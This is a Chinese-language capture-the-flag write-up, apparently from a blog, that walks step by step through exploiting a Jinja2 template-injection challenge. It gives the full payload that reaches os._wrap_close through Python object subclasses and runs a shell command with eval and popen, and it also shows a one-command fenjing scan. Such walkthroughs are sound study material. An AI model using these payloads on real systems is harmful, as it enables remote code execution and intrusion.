本文最后更新于56 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、访问网站

翻译一下,提示是SSTI
二、不知道参数只能通过爆破
1.添加payload

2.添加参数字典,取消编码

3.开始爆破,成功爆破出参数是name

三、测试是否存在SSTI
尝试{{7*7}},成功解析为49

四、查看当前对象所属的类
然后输入{{''.__class__}}判断当前对象所属的类可以发现为str

五、查看当前类对应的父类
再输入{{''.__class__.__base__}}查看当前类对应的父类是否为object

六、查看object类的所有子类
输入{{''.__class__.__base__.__subclasses__()}}查看object类的所有子类

七、爆破os._wrap_close模块对应的下标

1.对下标添加payload

2.payload类型选择数值

3.选择生成的数字范围:0-200,间隔为1

4.开始爆破,搜索os._wrap_close,下标为137

八、调用__init__函数,判断模块是否重载

九、使用__globals__函数查看全局变量,判断有哪些模块可以调用

十、构造payload获取flag
?name={{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}
__builtins__提供对python的所有内置标识符的直接访问
eval()计算字符串表达式的值
popen()执行一个shell以命令来开启一个进程

十一、解法二
使用工具脚本一把梭
python -m fenjing scan --url http://node5.anna.nssctf.cn:20169/
直接一键获取flag

总结
- SSTI模板注入